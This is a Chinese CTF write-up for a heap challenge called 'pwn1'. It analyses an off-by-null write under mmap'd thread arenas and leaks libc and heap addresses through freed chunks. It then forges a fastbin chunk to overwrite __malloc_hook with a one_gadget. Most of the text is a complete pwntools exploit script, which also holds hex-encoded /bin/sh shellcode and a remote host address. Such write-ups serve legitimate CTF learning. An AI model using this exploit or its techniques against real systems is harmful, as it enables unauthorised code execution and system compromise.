PWN January 03, 2020

mmap下的offbynull

Words count 40k Reading time 36 mins. Read count 0

一、题目:pwn1

先checksec下:

1565769137696

保护全开,ida分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int choice; // eax

init_0();
while ( 1 )
{
while ( 1 )
{
choice = menu();
if ( choice != 2 )
break;
show();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
free_0();
}
else if ( choice == 4 )
{
exit(0);
}
}
else if ( choice == 1 )
{
malloc_0();
}
}
}

常规的菜单题,然后分析一波漏洞点:

1、malloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 malloc_0()
{
int idx; // [rsp+Ch] [rbp-14h]
size_t size; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
idx = read_idx();
if ( idx != -1 )
{
puts("size: ");
read_size(&size);
if ( (size & 0x8000000000000000LL) == 0LL && !chunk_array[idx] )
{//size必须为正数
chunk_array[idx] = malloc(size);//这里size大小没有检查,所以可以任意
puts("info: ");
read(0, chunk_array[idx], size);
*(size - 1 + chunk_array[idx]) = 0;//这里是漏洞点,offbynull,主要是当第一次malloc(大size)时返回0,申请失败,第二次申请时不会再从main_arena中取,而是从thread_arena中取出来,看源码。。。所以如果size为堆地址,就可以实现任意堆地址写0
size_array[idx] = size;
}
}
return __readfsqword(0x28u) ^ v3;
}

这个漏洞点的利用,第一次见,所以比较生疏,后期多多积累,下面继续分析:

2、show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t show()
{
ssize_t result; // rax
int v1; // [rsp+Ch] [rbp-4h]

result = read_idx();
v1 = result;
if ( result != -1 )
{
result = chunk_array[result];
if ( result )
{
write(1, chunk_array[v1], size_array[v1]);
result = write(1, "\n", 1uLL);
}
}
return result;

这个是puts函数打印堆块内容

3、free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 free_0()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

result = read_idx();
v1 = result;
if ( result != -1 )
{
if ( chunk_array[result] )
free(chunk_array[result]);
result = chunk_array;
chunk_array[v1] = 0LL;
}
return result;
}

free这里很明显的UAF漏洞,就是指针清空,内存不清空。

那么结合show函数是可以泄露出libc地址和堆地址的

最后exit是退出,那么一波操作先得到libc地址和堆地址:

这里学到一个新姿势,实现unsorted_bin的不合并链接:

malloc(0x100)—>malloc(0x20)—>malloc(0x100)—>malloc(0x70)—>top_chunk

这样chunk1和chunk3之间有个隔开的chunk,就不会合并,chunk4是用来隔开top_chunk的合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
malloc(0,0xf0-8,'A'*(0xf0-8))
malloc(1,0x10-8,'B'*(0x10-8))
malloc(2,0x100-8,'C'*(0x100-8))
free(1)
malloc(1,0x70-8,'D'*(0x70-8))
free(2)
free(0)

malloc(2,0x100-8,'D'*7)
puts(2)
ru("DDDDDDD")
heap = u64(rc(7)[1:].ljust(8,'\x00'))
print "heap_addr-->" + hex(heap)

malloc(0,0xf0-8,'A'*7)
puts(0)
ru("AAAAAAA")
malloc_hook = u64(rc(7)[1:].ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook-->" + hex(malloc_hook)
onegadget = malloc_hook - libc.symbols["__malloc_hook"] + 0xf1147
fake_chunk = malloc_hook - 0x23

记得当我们需要使用到堆块的presize时,那么size需要为基数,比如0xf8或者0x78这样,而不是0x100或者0x70

因为只有3次申请的机会,所以要重复利用,3个当4个用,free再malloc~

这题在heap下很难做,同时漏洞是在size那里,当size为可读可写的地址时,可以写入0,那么想到写到堆块上,vmmap分配内存,那么第一步先使得分配失败,然后跳出main_arena,使用vmmap堆基地址分配内存,就要先得到vmmap堆基地址才行,怎么得到呢?其实vmmap下的攻击手段和heap下是差不多的,工具利用时看内存和arenainfo(命令)来看堆块布局,泄露出vmmap堆基地址的方法和前面差不多,堆块格挡下,然后迁到unsorted_bin中,然后去打印出来,得到地址(vmmap堆的基地址,双链表下的):举个栗子

0x00007f7158000078—->0x00007f71580000b3(top_chunk)

那么就可以想到其他堆块是链接在0x00007f7158000078上的

1
2
3
4
5
6
7
8
9
10
11
12
13
malloc(0,heap+0x1,'A')
malloc(0,0xf0-8,'A'*(0xf0-8-1))
malloc(1,0x70-8,'B'*(0x70-8-1))
malloc(2,0x100-8,'C'*(0x100-8-1))
free(1)
malloc(1,0x10-8,'B'*7)
free(2)
free(0)
malloc(2,0x100-8,'A'*7)
puts(2)
ru("AAAAAAA")
thread_arena_heap = u64(rc(7)[1:].ljust(8,'\x00'))
print "thread_arena_heap--->" + hex(thread_arena_heap)

那么我们得到了vmmap下分配的堆块的基地址,那么在malloc时就可以往任意地址写0

1565772655586

这里可以看到,我们通过申请0x70-8大小的堆块,改写0x100那个堆块的pre_size大小为0x160(0xf0+0x70),那我们需要把160旁边的0x101改写为0x100,表示前一个堆块为free状态,才能实现unlink,那么我们通过offbynull,将这个位置写成0:

1
2
3
4
5
malloc(1,0x70-8,'E'*(0x70-8-8) + p64(0x160))
malloc(2,0x10,'F'*7)#隔开,防止top_chunk合并,保证放到bins中

malloc(0,thread_arena_heap+0x160+8+1,'B')
malloc(0,0x100-8,'G'*(0x100-8))

1565774470304

这样0x160的free堆块就生成了,那么我们再申请0x100大小堆块再free就可以触发unlink了:

1565774641439

成功unlink了,接着就可以通过申请0x160大小堆块去改写0x70堆块的指向为fake_chunk

1
2
3
4
5
6
7
8
py = ''
py += 'A'*0xe0 + p64(0xf0) + p64(0x74) + p64(fake_chunk)
py = py.ljust(0x160)
malloc(0,0x160,py)
malloc(1,0x70-8,'AAAAAAA')
py = ''
py += 'A'*0x13 + p64(onegadget)
malloc(2,0x70-8,py)

先写入fake_chunk,然后申请2次得到fake_chunk,改写malloc_hook为onegadget,得到shell~,下面是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def malloc(index,size,content):
ru("choice: ")
sl('1')
ru("index: ")
sl(str(index))
ru("size: ")
sl(str(size))
ru("info: ")
sd(content)
def free(index):
ru("choice: ")
sl('3')
ru("index: ")
sl(str(index))
def puts(index):
ru("choice: ")
sl('2')
ru("index: ")
sl(str(index))


malloc(0,0xf0-8,'A'*(0xf0-8))
malloc(1,0x10-8,'B'*(0x10-8))
malloc(2,0x100-8,'C'*(0x100-8))
free(1)
malloc(1,0x70-8,'D'*(0x70-8))
free(2)
free(0)

malloc(2,0x100-8,'D'*7)
puts(2)
ru("DDDDDDD")
heap = u64(rc(7)[1:].ljust(8,'\x00'))
print "heap_addr-->" + hex(heap)

malloc(0,0xf0-8,'A'*7)
puts(0)
ru("AAAAAAA")
malloc_hook = u64(rc(7)[1:].ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook-->" + hex(malloc_hook)
onegadget = malloc_hook - libc.symbols["__malloc_hook"] + 0xf1147
fake_chunk = malloc_hook - 0x23
free(0)
free(1)
free(2)

debug(0xddf)
malloc(0,heap+0x1,'A')
malloc(0,0xf0-8,'A'*(0xf0-8-1))
malloc(1,0x70-8,'B'*(0x70-8-1))
malloc(2,0x100-8,'C'*(0x100-8-1))
free(1)
malloc(1,0x10-8,'B'*7)
free(2)
free(0)
malloc(2,0x100-8,'A'*7)
puts(2)
ru("AAAAAAA")
thread_arena_heap = u64(rc(7)[1:].ljust(8,'\x00'))
print "thread_arena_heap--->" + hex(thread_arena_heap)
free(1)
free(2)

malloc(1,0x70-8,'E'*(0x70-8-8) + p64(0x160))
malloc(2,0x10,'F'*7)

malloc(0,thread_arena_heap+0x160+8+1,'B')
malloc(0,0x100-8,'G'*(0x100-8))
free(0)
free(1)
free(2)

py = ''
py += 'A'*0xe0 + p64(0xf0) + p64(0x74) + p64(fake_chunk)
py = py.ljust(0x160)
malloc(0,0x160,py)
malloc(1,0x70-8,'AAAAAAA')
py = ''
py += 'A'*0x13 + p64(onegadget)
malloc(2,0x70-8,py)
free(0)

ru("choice: ")
sl('1')
ru("index: ")
sl('0')
ru("size: ")
sl('10')
p.interactive()
记住最后需要一点主意,因为malloc调用时,输入size即可getshell,所以切记不要用集成函数了。

1565774754760

0%